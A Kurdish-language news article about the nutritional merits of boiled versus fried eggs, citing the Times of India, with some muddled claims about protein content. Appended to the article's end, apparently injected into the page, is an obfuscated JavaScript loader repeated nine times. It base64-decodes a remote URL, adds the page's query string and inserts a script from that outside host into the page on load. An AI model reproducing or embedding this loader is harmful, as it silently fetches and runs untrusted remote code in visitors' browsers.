هێکا کەلاندی چ مفا هەنە؟
هێک ئێک ژ خوارنێن سەرەکی یە کو هەموو ماددەیێن خۆراکی تێدانە، ئێک هێکێ نێزیکی ٧٢ کالۆری و ٦ گرامێن پرۆتین و ٥ گرامێن چەوریێن ساخلەم ب خۆڤەدگریت.
دەربارەی ئامادەکرنا هێکێ گەلەک پرسیار دهێنەکرن کو ئەرێ هێکا کەلاندی باشترە یان هێکا قەلانی؟
ڕاپۆرتەک ژلایێ ڕۆژناما “ Times of India” بەڵاڤکریە، رونکرنەکا هویر یا ڤی بابەتی بەرچاڤ دکەت کو دێ هاریکاربیت بۆ دیاریکرنا ئەوێ چەندێ کیش ب مفاترە بۆ ساخلەمیێ.
هێک ژێدەرەکێ تەمام یێ پڕۆتینی یە، کو هاریکاریا چاککرن و گەشەکرنا ماسولکان دکەت، هێکێ ڤیتامین D و B12 ی تێدایە کو بۆ بەرهەمئینانا هێزێ و ساخلەمیا گشتی پێدڤیە، هاریکارە بۆ گەشەیا مەژی، هەروەسا دژە ئۆکسێنەرێن ناڤ هێکێ مفای ب ساخلەمیا چاڤی دگەهینن، ئەڤەژی مەترسیێن تێکچوونا چاڤی ژ ئەگەرێ عەمری کێمدکەت.
خوارنا هێکێ ب شێوەیەکێ مامناوەند کاریگەرییەکا خراپ ل سەر ساخلەمیا دلی نینە، چەوریێن ساخلەم ب خۆڤە دگریت و دشێت هاریکاریا بلندکرنا ئاستێ کۆلیسترۆلێ باش بدەت.
هێکا کەلاندی نێزیکی ٧٨ کالۆری تێدانە، هەڤسەنگیکا یا پرۆتین و چەوری و ڤیتامین و کانزایێن سەرەکی دابین دکەت، کەلاندنا هێکێ پتریا ماددەیێن خۆراکی یێن ناڤ هێکێ دپارێزیت، ئەڤەژی وەدکەت ببێتە بژاردەیەکا گونجای بۆ دانەکێ ب لەز و ساخلەم.
هێکا قەلاندی هەرچەندە تامەکا خۆش هەیە بەلێ ڕێژەکا بلند یا پرۆتینی تێدایە ژ ئەگەرێ زێدەکرنا پێکهاتێن دیتر دگەلدا، کالۆری و چەوریێن نەساخلەم ژی تێدانە، ب تایبەتی ئەگەر ب پیچەکا ڕۆینی یان زەیتێ بهێتە قەلاندن.
هێکا کەلاندی پتریا مفایێن سروشتیی یێن خۆ دپارێزیت، چونکو بێ چەوری و پێکهاتێن زێدە دهێتە کەلاندن، پرۆسا کەلاندنا پڕۆتین و ماددەیێن خۆراکی یێن هێکێ دپارێزیت، ئەڤەژی وەدکە ببیتە هەلبژاردەکا ساخلەم و کێمترین کالۆری تێدایە، ل لایەکێ دیتر، هێکا کەلاادی دەوڵەمەندترە ب پرۆتین و ماددەیێن خۆراکی زێدەترە ژ ئەگەرێ ئەو پێکهاتێن کو ل گەل یا قەلاندی، بەلێ کالۆری و چەوریێن تیر زێدەتر تێدانە ژ ئەگەرێ ئەو زەیتا پێ دهێتە قەلاندن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
